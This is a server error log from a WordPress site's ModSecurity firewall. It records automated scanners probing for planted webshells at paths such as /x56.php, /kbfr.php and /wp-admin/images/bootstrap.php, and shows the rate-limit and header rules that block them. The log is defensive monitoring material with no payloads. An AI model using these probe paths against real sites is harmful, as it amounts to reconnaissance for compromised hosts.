[Sun Feb 22 23:34:25.884256 2026] [:error] [pid 2628:tid 2643] [client 185.137.164.16:25547] [client 185.137.164.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/bootstrap.php"] [unique_id "aZsiAbK4woMTeUPH2ns9dAAAAQw"]
[Sun Feb 22 23:34:26.529670 2026] [:error] [pid 2474:tid 2525] [client 185.137.164.12:31127] [client 185.137.164.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/bootstrap.php"] [unique_id "aZsiAvhvE7P5hX_xKnS51AAAAEo"]
[Sun Feb 22 23:34:27.102636 2026] [autoindex:error] [pid 2473:tid 2491] [client 185.137.164.17:64163] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:27.389121 2026] [autoindex:error] [pid 2473:tid 2501] [client 185.137.164.17:64163] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:27.661424 2026] [autoindex:error] [pid 2473:tid 2488] [client 185.137.164.17:64163] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:27.915994 2026] [:error] [pid 2473:tid 2494] [client 185.137.164.17:64163] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aZsiA3ptAeV7-XzzNzg_TAAAABE"]
[Sun Feb 22 23:34:28.686931 2026] [:error] [pid 2474:tid 2543] [client 185.137.164.16:39973] [client 185.137.164.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aZsiBPhvE7P5hX_xKnS54wAAAFY"]
[Sun Feb 22 23:34:29.240206 2026] [:error] [pid 2574:tid 2594] [client 185.137.164.21:30195] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aZsiBckPV7h4nTf-jiTn6wAAAM0"]
[Sun Feb 22 23:34:29.787866 2026] [:error] [pid 2574:tid 2585] [client 185.137.164.18:24447] [client 185.137.164.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aZsiBckPV7h4nTf-jiTn8AAAAMQ"]
[Sun Feb 22 23:34:31.365685 2026] [autoindex:error] [pid 26033:tid 26044] [client 185.137.164.19:44633] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:31.619247 2026] [:error] [pid 26033:tid 26038] [client 185.137.164.19:44633] [client 185.137.164.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZsiB0TRRZdhkkS8ouSKhgAAAcM"]
[Sun Feb 22 23:34:35.846972 2026] [:error] [pid 3103:tid 3106] [client 185.137.164.15:40199] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aZsiC5fzX5hBIaQY93OBFQAAAYA"]
[Sun Feb 22 23:34:36.380075 2026] [autoindex:error] [pid 2628:tid 2655] [client 185.137.164.21:22225] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:36.662716 2026] [autoindex:error] [pid 2628:tid 2652] [client 185.137.164.21:22225] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:37.004191 2026] [autoindex:error] [pid 2628:tid 2642] [client 185.137.164.21:22225] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:37.257288 2026] [:error] [pid 2628:tid 2655] [client 185.137.164.21:22225] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/file/"] [unique_id "aZsiDbK4woMTeUPH2ns9uwAAARg"]
[Sun Feb 22 23:34:37.877015 2026] [:error] [pid 2474:tid 2511] [client 185.137.164.17:36117] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/file/"] [unique_id "aZsiDfhvE7P5hX_xKnS6FAAAAEI"]
[Sun Feb 22 23:34:38.417349 2026] [autoindex:error] [pid 2474:tid 2543] [client 185.137.164.15:32791] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:38.719636 2026] [autoindex:error] [pid 2474:tid 2518] [client 185.137.164.15:32791] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:38.992266 2026] [autoindex:error] [pid 2474:tid 2534] [client 185.137.164.15:32791] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:39.542666 2026] [:error] [pid 2474:tid 2515] [client 185.137.164.15:32791] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/"] [unique_id "aZsiD_hvE7P5hX_xKnS6IwAAAEY"]
[Sun Feb 22 23:34:40.202793 2026] [autoindex:error] [pid 26033:tid 26047] [client 185.137.164.19:62169] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:40.524877 2026] [:error] [pid 26033:tid 26054] [client 185.137.164.19:62169] [client 185.137.164.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aZsiEETRRZdhkkS8ouSKxAAAAdM"]
[Sun Feb 22 23:34:45.123369 2026] [autoindex:error] [pid 3103:tid 3121] [client 185.137.164.21:55367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:45.424515 2026] [autoindex:error] [pid 3103:tid 3113] [client 185.137.164.21:55367] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 23:34:45.712796 2026] [:error] [pid 3103:tid 3118] [client 185.137.164.21:55367] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ioxi/ioxi/"] [unique_id "aZsiFZfzX5hBIaQY93OBUAAAAYw"]
[Sun Feb 22 23:34:46.300015 2026] [:error] [pid 2475:tid 2548] [client 185.137.164.20:44797] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ioxi/ioxi/"] [unique_id "aZsiFidme8TSKYpXujdypAAAAIg"]
[Sun Feb 22 23:34:46.913103 2026] [:error] [pid 2629:tid 2678] [client 185.137.164.20:44399] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ioxi/ioxi/"] [unique_id "aZsiFglsXSV5M4mfwZ9cXgAAAVQ"]
[Sun Feb 22 23:34:47.424587 2026] [:error] [pid 2474:tid 2509] [client 185.137.164.15:47753] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ioxi/ioxi/"] [unique_id "aZsiF_hvE7P5hX_xKnS6UgAAAEA"]
[Sun Feb 22 23:34:47.954148 2026] [:error] [pid 26033:tid 26049] [client 185.137.164.17:20959] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ioxi/ioxi/"] [unique_id "aZsiF0TRRZdhkkS8ouSK2gAAAc4"]
[Mon Feb 23 00:28:21.742534 2026] [:error] [pid 28424:tid 28445] [client 43.166.253.94:40166] [client 43.166.253.94] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZsupQBAZT_BJOxE-Z4XXwAAABE"]
[Mon Feb 23 01:23:38.928569 2026] [:error] [pid 28425:tid 28511] [client 122.51.236.174:36424] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZs7mjO7QIkwG1UqFGzrmAAAAFI"]
[Mon Feb 23 01:47:52.378685 2026] [:error] [pid 4806:tid 4815] [client 150.109.46.88:54710] [client 150.109.46.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZtBSPFTHI_ud-cTYbQErQAAAQc"]
[Mon Feb 23 02:46:11.950963 2026] [:error] [pid 28426:tid 28534] [client 20.205.227.70:7992] [client 20.205.227.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.205.227.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZtO82gbPVf4pO12NZnyZQAAAIw"]
[Mon Feb 23 02:46:20.941968 2026] [:error] [pid 28426:tid 28537] [client 20.205.227.70:7992] [client 20.205.227.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "aZtO_GgbPVf4pO12NZnydAAAAI8"]
[Mon Feb 23 02:46:21.296466 2026] [:error] [pid 28426:tid 28543] [client 20.205.227.70:7984] [client 20.205.227.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "aZtO_WgbPVf4pO12NZnydQAAAJU"]
[Mon Feb 23 02:46:21.648240 2026] [:error] [pid 4806:tid 4821] [client 20.205.227.70:7977] [client 20.205.227.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "aZtO_fFTHI_ud-cTYbQj6gAAAQ0"]
[Mon Feb 23 02:46:22.000323 2026] [:error] [pid 28558:tid 28562] [client 20.205.227.70:20508] [client 20.205.227.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "aZtO_SdFHR5e1Gd10vemUwAAAMI"]
[Mon Feb 23 07:01:22.152339 2026] [:error] [pid 2570:tid 2600] [client 43.166.251.233:54656] [client 43.166.251.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZuKwqh2MyYIw6djQ6XNLQAAANY"]
[Mon Feb 23 07:47:35.356874 2026] [autoindex:error] [pid 25295:tid 25344] [client 20.203.249.16:10346] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 07:47:50.097863 2026] [:error] [pid 25295:tid 25361] [client 20.203.249.16:10346] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aZuVpo2Av4J1Jnqi7yKCBgAAAJQ"]
[Mon Feb 23 07:47:51.102383 2026] [:error] [pid 25380:tid 25396] [client 20.203.249.16:29499] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aZuVp6Krc8yFQ8fy78ryewAAAM4"]
[Mon Feb 23 07:47:51.574378 2026] [:error] [pid 25293:tid 25301] [client 20.203.249.16:6538] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aZuVp-L9XfBf66iHi_d6PAAAAAI"]
[Mon Feb 23 07:47:52.064021 2026] [:error] [pid 25380:tid 25400] [client 20.203.249.16:13543] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aZuVqKKrc8yFQ8fy78ryfAAAANI"]
[Mon Feb 23 07:47:52.536971 2026] [:error] [pid 25380:tid 25395] [client 20.203.249.16:27610] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aZuVqKKrc8yFQ8fy78ryfgAAAM0"]
[Mon Feb 23 07:47:53.008949 2026] [:error] [pid 25295:tid 25363] [client 20.203.249.16:4858] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aZuVqY2Av4J1Jnqi7yKCEwAAAJU"]
[Mon Feb 23 07:47:53.501380 2026] [:error] [pid 25295:tid 25338] [client 20.203.249.16:3080] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aZuVqY2Av4J1Jnqi7yKCFwAAAIc"]
[Mon Feb 23 07:47:53.973926 2026] [:error] [pid 25293:tid 25323] [client 20.203.249.16:29470] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aZuVqeL9XfBf66iHi_d6QAAAABg"]
[Mon Feb 23 07:47:54.486319 2026] [:error] [pid 25380:tid 25401] [client 20.203.249.16:2874] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aZuVqqKrc8yFQ8fy78rygQAAANM"]
[Mon Feb 23 07:47:55.062360 2026] [:error] [pid 25380:tid 25383] [client 20.203.249.16:8842] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aZuVq6Krc8yFQ8fy78ryhgAAAME"]
[Mon Feb 23 07:47:55.536321 2026] [:error] [pid 25380:tid 25394] [client 20.203.249.16:10412] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aZuVq6Krc8yFQ8fy78ryigAAAMw"]
[Mon Feb 23 07:47:56.009610 2026] [:error] [pid 25295:tid 25352] [client 20.203.249.16:9203] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aZuVrI2Av4J1Jnqi7yKCHgAAAI8"]
[Mon Feb 23 07:47:56.506053 2026] [:error] [pid 25294:tid 25330] [client 20.203.249.16:2827] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aZuVrCRCFB3CqIo_jfY_JgAAAEE"]
[Mon Feb 23 07:47:56.985081 2026] [:error] [pid 25380:tid 25402] [client 20.203.249.16:2866] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aZuVrKKrc8yFQ8fy78rykQAAANQ"]
[Mon Feb 23 07:47:57.469074 2026] [:error] [pid 25380:tid 25399] [client 20.203.249.16:9192] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aZuVraKrc8yFQ8fy78rykwAAANE"]
